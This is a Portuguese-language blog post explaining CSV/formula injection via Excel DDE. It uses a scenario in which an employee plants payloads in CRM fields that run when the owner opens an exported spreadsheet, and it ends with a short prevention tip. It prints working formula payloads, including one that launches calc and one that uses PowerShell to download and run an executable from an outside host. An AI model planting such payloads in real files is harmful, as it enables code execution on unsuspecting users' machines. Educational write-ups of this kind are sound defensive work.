CSV Injection
O que é CSV Injection?
CSV Injection (Comma separated values) também conhecido como formula injection, ocorre quando o usuário malicioso consegue injetar caracteres arbitrários em formulários que serão exportados posteriormente para arquivos .CSV ou .XLS
Para que a falha ocorra, o campo no qual o usuário malicioso usou para injetar o payload precisa estar presente no arquivo exportado.
CSV injection tem como principal objetivo explorar o user trust, ou seja, explorar a confiança que o usuário tem na fonte da qual o arquivo foi baixado.
Como a falha de CSV Injection ocorre?
Tenho certeza que muitos de vocês já viram e usaram fórmulas no Excel, como por exemplo a função soma, que é usada para retornar o valor da soma de determinadas células ou argumentos.
Para executar fórmulas no Excel, o comando tem que começar com “=”, então o excel sabe que tem que executar algum tipo de função. Na imagem acima é possível ver que a função soma foi utilizada. Além disso, o Microsoft Office está usando um protocolo chamado DDE (Dynamic Data Exchange).
DDE é um protocolo de comunicação entre processos. Ele envia mensagens entre aplicativos que compartilham dados e usa memória compartilhada para trocar dados entre aplicativos, o mesmo também é suportado pelo apache OpenOffice e LibreOffice.
Supondo que a vítima abriu um arquivo .CSV ou .XLS contendo o payload, a primeira reação do Excel ao abrir o arquivo, será exibir a seguinte mensagem de alerta:
Como medida de segurança, a Microsoft decidiu adicionar alguns alertas antes de ativar a atualização automática de links, mas como o usuário confia na fonte de onde o arquivo foi baixado, logo ele(a) irá clicar no botão enable (habilitar), mostrado na imagem acima.
A imagem acima mostra um segundo alerta mais suspeito, pois diz que o Windows precisa de sua permissão para iniciar CMD.EXE
Vamos ao exemplo prático do CSV Injection
Vamos supor que um funcionário malicioso queira atacar o dono da empresa para a qual trabalha, através do CRM (Gestão de Relacionamento com o Cliente) que a empresa possui. O funcionário malicioso obviamente tem sua conta de acesso ao CRM da empresa. Se analizarmos a imagem abaixo é possível observar que o funcionário malicioso injetou =cmd|’ no campo First Name, e /C calc’!A0 no campo Last Name, fazendo com que o campo Full Name exiba o payload completo =cmd|’ /C calc’!A0
Ao analizarmos a próxima imagem, podemos ver que o funcionário malicioso criou um novo lead, e tanto o campo Owner quanto o campo Qualification Team mostram o payload que o funcionário malicioso injetou na imagem anterior.
A próxima imagem mostra que o lead foi salvo com sucesso, contendo o payload =cmd|’ /C calc’!A0 . Até agora ninguém foi atacado.
Como podemos ver na imagem a seguir, quando a vítima, no caso o(a) proprietário(a) da empresa exportar o relatório de leads através de um arquivo .XLS por exemplo, ao abrir o arquivo, o Excel (em versões anteriores) irá alertar o usuário com uma mensagem parecida com a da imagem abaixo. Vale lembrar que a vítima baixou o arquivo de uma fonte que ele(a) confia, logo, a vítima tende a ignorar a mensagem de alerta e acaba clicando no botão Enable (habilitar).
A imagem a seguir mostra a próxima mensagem de alerta que é exibida para a vítima. Vale lembrar novamente que a vítima baixou o arquivo de uma fonte na qual ele(a) confia, logo, ele(a) irá clicar no botão SIM.
E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.
No exemplo acima, foi utilizado um payload que abre apenas a calculadora do Windows, mas o funcionário malicioso pode fazer coisa muito pior.
Em versões mais recentes do Microsoft Office, o Excel além de exibir os alertas já mostrados, ele também irá exibir os alertas abaixo:
Ao clicar em opções, o Excel irá exibir a mensagem abaixo:
Após o usuário clicar no OK da mensagem acima, o Excel irá exibir a seguinte mensagem:
E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.
É claro que o payload utilizado, não traz nenhum risco para quem abrir o arquivo. Mas, se o funcionário malicioso utilizar o payload a seguir o que vai acontecer?
=cmd|’ /C powershell Invoke-WebRequest “http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe” -OutFile “$env:Temp\putty.exe”; Start-Process “$env:Temp\putty.exe”‘!A0
O payload acima irá baixar e executar o putty.exe na máquina da vítima.
Consegue enxergar o problema?
Como previnir CSV Injection?
Para que a falha não ocorra, é preciso que qualquer campo que será exportado para o arquivo .CSV ou .XLS, contenham apenas caracteres alfanuméricos.
Referências:
appsec-labs.com/portal/formula-injection/
contextis.com/resources/blog/comma-separated-vulnerabilities/
pentestmag.com/formula-injection/
blog.zsec.uk/csv-dangers-mitigations/
owasp.org/index.php/CSV_Excel_Macro_Injection
_________________________________
Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo
[CONTACT_FORM_TO_EMAIL id=”1″] |